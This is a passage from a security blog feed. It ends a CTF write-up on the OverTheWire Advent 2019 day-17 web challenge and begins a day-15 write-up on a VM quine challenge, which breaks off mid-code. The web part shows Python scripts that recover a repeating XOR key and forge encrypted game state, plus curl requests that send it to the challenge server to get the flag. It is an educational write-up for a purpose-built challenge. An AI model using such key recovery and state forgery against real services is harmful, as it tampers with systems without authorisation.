&lt;div class="section" id="endpoints"&gt;
&lt;h3&gt;Endpoints&lt;/h3&gt;
&lt;p&gt;Since the source code of the challenge is not released, we basically
have to resort to educated guessing. Since the session identifier does
not seem to be vulnerable in any obvious way, we investigated the
endpoints.&lt;/p&gt;
&lt;div class="section" id="control"&gt;
&lt;h4&gt;&lt;tt class="docutils literal"&gt;/control&lt;/tt&gt;&lt;/h4&gt;
&lt;p&gt;The &lt;tt class="docutils literal"&gt;/control&lt;/tt&gt; endpoint is used register a new user:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
POST /control

{&amp;quot;action&amp;quot;:&amp;quot;new&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;username&amp;quot;}
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="client"&gt;
&lt;h4&gt;&lt;tt class="docutils literal"&gt;/client&lt;/tt&gt;&lt;/h4&gt;
&lt;p&gt;The &lt;tt class="docutils literal"&gt;/client&lt;/tt&gt; endpoint is the &amp;quot;main&amp;quot; endpoint (HTTP method: POST) that
the front-end uses to e. g. request the state, increase the collection
speed or collect a snow flake:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
POST /client

{&amp;quot;action&amp;quot;:&amp;quot;collect&amp;quot;,&amp;quot;amount&amp;quot;:1}
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="history-client"&gt;
&lt;h4&gt;&lt;tt class="docutils literal"&gt;/history/client&lt;/tt&gt;&lt;/h4&gt;
&lt;p&gt;Most interesting is the &lt;tt class="docutils literal"&gt;/history/client&lt;/tt&gt; endpoint. Sending a GET
request to that endpoint returns a JSON that basically contains a log of
all actions that the client requested:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
[
    [
        1576940433927,
        {
            &amp;quot;action&amp;quot;: &amp;quot;state&amp;quot;
        }
    ],
    [
        1576940435274,
        {
            &amp;quot;action&amp;quot;: &amp;quot;collect&amp;quot;,
            &amp;quot;amount&amp;quot;: 1
        }
    ],
    ...
]
&lt;/pre&gt;
&lt;p&gt;Interestingly, any given &lt;tt class="docutils literal"&gt;action&lt;/tt&gt; is saved as-is in the database and
will be happily returned by the &lt;tt class="docutils literal"&gt;/history/client&lt;/tt&gt; endpoint.
Unfortunately, this is not an XSS challenge and this does not really
allow us to do anything useful.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="history-control"&gt;
&lt;h4&gt;&lt;tt class="docutils literal"&gt;/history/control&lt;/tt&gt;&lt;/h4&gt;
&lt;p&gt;What we did not realize for a long time was that the &lt;tt class="docutils literal"&gt;/history&lt;/tt&gt;
endpoint happily retrieves the history for &lt;em&gt;other&lt;/em&gt; endpoints as well. I.
e. &lt;tt class="docutils literal"&gt;/history/control&lt;/tt&gt; returns data for the &lt;tt class="docutils literal"&gt;/control&lt;/tt&gt; endpoint.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
[
   [
      1578852889691,
      {
         &amp;quot;action&amp;quot; : &amp;quot;load&amp;quot;
      }
   ],
   [
      1578852889691,
      {
         &amp;quot;data&amp;quot; : &amp;quot;nQZ2wk0avgzGKhYR4Sy5io/o55SCBiGNElPnDJJrS1rzOrmKievng4hFdsgBAg==&amp;quot;,
         &amp;quot;action&amp;quot; : &amp;quot;save&amp;quot;
      }
   ],
(...)
]
&lt;/pre&gt;
&lt;p&gt;This immediately piqued our interest because ...&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;The &lt;tt class="docutils literal"&gt;control&lt;/tt&gt; endpoint takes an &lt;tt class="docutils literal"&gt;action&lt;/tt&gt; parameter with value
&lt;tt class="docutils literal"&gt;save&lt;/tt&gt; but the web interface only exposes the action &lt;tt class="docutils literal"&gt;new&lt;/tt&gt;.&lt;/li&gt;
&lt;li&gt;The &lt;tt class="docutils literal"&gt;control&lt;/tt&gt; endpoint apparently also takes a &lt;tt class="docutils literal"&gt;data&lt;/tt&gt; parameter
which could be interesting for manipulate the server side state.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Decoding the data leads to binary data which is good: We knew that we
discovered the crypto part of the challenge.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="exploit"&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Note that the following is not 100% &amp;quot;historically&amp;quot; accurate but a
streamlined version of what we did and how we succeeded to make the
write-up easier to follow.&lt;/em&gt;&lt;/p&gt;
&lt;div class="section" id="getting-the-key"&gt;
&lt;h3&gt;Getting the key&lt;/h3&gt;
&lt;p&gt;We then tried to use a really long username like &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;xxx...xxx&lt;/span&gt;&lt;/tt&gt; (200
times &lt;tt class="docutils literal"&gt;x&lt;/tt&gt; repeated) to check if we can spot a pattern in the data.&lt;/p&gt;
&lt;p&gt;This was actually quite successful (spaces added for better
readability):&lt;/p&gt;
&lt;pre class="literal-block"&gt;
80cf80HOc0tsA68UqWdA933wVY3sR0i8HocqSzhC8l+7cUD3

dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxit
dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxit
dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxit
dvhIkPAdCuRX03IRLlvnQuEzGK

0s/Q==
&lt;/pre&gt;
&lt;p&gt;Clearly a pattern emerged because parts of the ciphertext repeated
itself. This is obviously bad!&lt;/p&gt;
&lt;p&gt;The hypothesis that we came to was that the username has to be obviously
included in the ciphertext and the ciphertext is only XORed with the
key. The key repeats itself because we can see patterns. This means that
it should be possible to retrieve the key by XORing everything with
repeated 'x'.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
&amp;gt;&amp;gt;&amp;gt; binascii.hexlify(bytes(data[i] ^ ord(b'x') for i in range(len(data))))
b'8b3f678b39b60b33147bd76cd11f388f05882df5943f30c466ff5233403a8a27c309388f0e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d50e8030e88865729c2fab0a6956239f3a994b60d55485'
&lt;/pre&gt;
&lt;p&gt;Reformatting the result makes the repeating pattern obvious:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
8b3f678b39b60b33147bd76cd11f388f05882df5943f30c466ff5233403a8a27c309388f

0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5
0e8030e88865729c2fab0a6956239f3a994b60d5

5485
&lt;/pre&gt;
&lt;p&gt;However, it is unlikely that the key starts with the beginning of the
&lt;tt class="docutils literal"&gt;x&lt;/tt&gt; sequence. Therefore we will try all possible combinations (luckily
there are only 20):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;base64&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;binascii&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;key_candidate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
        &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;


&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;80cf80HOc0tsA68UqWdA933wVY3sR0i8HocqSzhC8l+7cUD3dvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxitdvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxitdvhIkPAdCuRX03IRLlvnQuEzGK12+EiQ8B0K5FfTchEuW+dC4TMYrXb4SJDwHQrkV9NyES5b50LhMxitdvhIkPAdCuRX03IRLlvnQuEzGK0s/Q==&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;binascii&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unhexlify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0e8030e88865729c2fab0a6956239f3a994b60d5&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;key_candidate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ascii&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Found key: &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;binascii&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hexlify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;continue&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This will print the key that was used because all other key candidates
do not decrypt the ciphertext to plain ASCII:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
Found key: b'8865729c2fab0a6956239f3a994b60d50e8030e8'
{&amp;quot;money&amp;quot;: 0.0, &amp;quot;speed&amp;quot;: 1, &amp;quot;name&amp;quot;: &amp;quot;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&amp;quot;}
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The key is actually derived from the ID that is sent back to
the client by calculating the SHA1 hash of the binary ID (see the source
code of the challenge which was released after the deadline:
&lt;a class="reference external" href="https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-17_web1/server.py#L101"&gt;https://github.com/OverTheWireOrg/advent2019/blob/master/advent-challenges/2019-12-17_web1/server.py#L101&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="setting-the-state"&gt;
&lt;h3&gt;Setting the state&lt;/h3&gt;
&lt;p&gt;With the key it is now easy to decrypt and encrypt arbitrary data.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;hashlib&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;base64&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sha1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b64decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))])&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;{&amp;quot;money&amp;quot;: 5.0, &amp;quot;speed&amp;quot;: 10e63, &amp;quot;name&amp;quot;: &amp;quot;username&amp;quot;}&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We now have to send the new state with the collection speed 10e63 to the
server. The &lt;tt class="docutils literal"&gt;/control&lt;/tt&gt; endpoint supports &lt;tt class="docutils literal"&gt;save&lt;/tt&gt; as an action which
will overwrite the state of the game.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ curl 'http://3.93.128.89:1217/control' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{&amp;quot;action&amp;quot;:&amp;quot;save&amp;quot;,&amp;quot;data&amp;quot;:&amp;quot;nQZ2wk0avgzGKhMR4Sy5io/o55SCBiGNEk/3Hsw6Fg/9ILvGnfXn09wEOdhQGrVAnWdDHaw=&amp;quot;}'
&lt;/pre&gt;
&lt;p&gt;Now we check if the state was successfully changed:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ curl 'http://3.93.128.89:1217/client' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{&amp;quot;action&amp;quot;:&amp;quot;state&amp;quot;}'
{&amp;quot;collect_speed&amp;quot;:1e+64,&amp;quot;elf_name&amp;quot;:&amp;quot;username&amp;quot;,&amp;quot;flag&amp;quot;:&amp;quot;AOTW{leaKinG_3ndp0int5}&amp;quot;,&amp;quot;snowflakes&amp;quot;:9e+63,&amp;quot;speed_upgrade_cost&amp;quot;:1e+300}
&lt;/pre&gt;
&lt;p&gt;Very good! Now we can buy the flag.&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ curl 'http://3.93.128.89:1217/client' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{&amp;quot;action&amp;quot;:&amp;quot;buy_flag&amp;quot;}'
&lt;/pre&gt;
&lt;p&gt;The flag is now part of the &lt;tt class="docutils literal"&gt;state&lt;/tt&gt; response:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ curl 'http://3.93.128.89:1217/client' -H 'Cookie: id=OZ1757GXr0vzXwW6Pvh1PAC0aURy2f80BBDRHEW3k/o=' -H 'Content-Type: application/json; charset=utf-8' -d '{&amp;quot;action&amp;quot;:&amp;quot;state&amp;quot;}' | json_pp
{
   &amp;quot;snowflakes&amp;quot; : 9e+63,
   &amp;quot;flag&amp;quot; : &amp;quot;AOTW{leaKinG_3ndp0int5}&amp;quot;,
   &amp;quot;speed_upgrade_cost&amp;quot; : 1e+300,
   &amp;quot;elf_name&amp;quot; : &amp;quot;username&amp;quot;,
   &amp;quot;collect_speed&amp;quot; : 1e+64
}
&lt;/pre&gt;
&lt;p&gt;The flag is: &lt;tt class="docutils literal"&gt;AOTW{leaKinG_3ndp0int5}&lt;/tt&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><category term="Security"></category><category term="CTF"></category><category term="Python"></category><category term="Security"></category></entry><entry><title>OverTheWire Advent Bonanza 2019: day-15 self replicating toy</title><link href="https://www.notinventedhere.org/articles/security/overthewire-advent-bonanza-2019-day-15-self-replicating-toy.html" rel="alternate"></link><published>2020-01-14T00:00:00+01:00</published><updated>2020-01-14T00:00:00+01:00</updated><author><name>Lukas Anzinger</name></author><id>tag:www.notinventedhere.org,2020-01-14:/articles/security/overthewire-advent-bonanza-2019-day-15-self-replicating-toy.html</id><summary type="html">&lt;p&gt;I took part in the OverTheWire Advent Bonanza 2019. All in all, the CTF
was very pleasant because the challenges were interesting to solve, there was
quite some time available as well (I spent about two weeks on and off on it)
and I also managed to solve a few …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I took part in the OverTheWire Advent Bonanza 2019. All in all, the CTF
was very pleasant because the challenges were interesting to solve, there was
quite some time available as well (I spent about two weeks on and off on it)
and I also managed to solve a few challenges as well.&lt;/p&gt;
&lt;p&gt;The following write-up is about the challenge from day 15: self replicating toy.&lt;/p&gt;
&lt;div class="section" id="description"&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
Can you design your own self-replicating toy?&lt;/blockquote&gt;
&lt;p&gt;Along with an IP address/port there is also the file chal.c given:
&lt;a class="reference external" href="https://advent2019.s3.amazonaws.com/dc3f15513e6d0ca076135b4a05fa954d62938670ddd7db88168d68c00e488b87-chal.c"&gt;https://advent2019.s3.amazonaws.com/dc3f15513e6d0ca076135b4a05fa954d62938670ddd7db88168d68c00e488b87-chal.c&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The file chal.c contains the implementation of a custom stack-based
virtual machine. The machine operates on three main stacks: data, code
and output. There are also 32 &amp;quot;scratch stacks&amp;quot; which are called
&amp;quot;functions&amp;quot;. The VM operates on instructions given on the code stack.
Every instruction has one byte.&lt;/p&gt;
&lt;p&gt;The goal of the challenge is to construct a quine for the virtual
machine. A quine is a program fragment that outputs itself. In case of
the VM, this means that the output stack contains the same bytes at the
end of the execution as the code stack in the beginning of the
execution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="analysis"&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;p&gt;The main method of the challenge contains the following code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;puts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Enter your Assemblium sequence:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;user_code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;malloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="n"&gt;vm_state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_vm_state&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
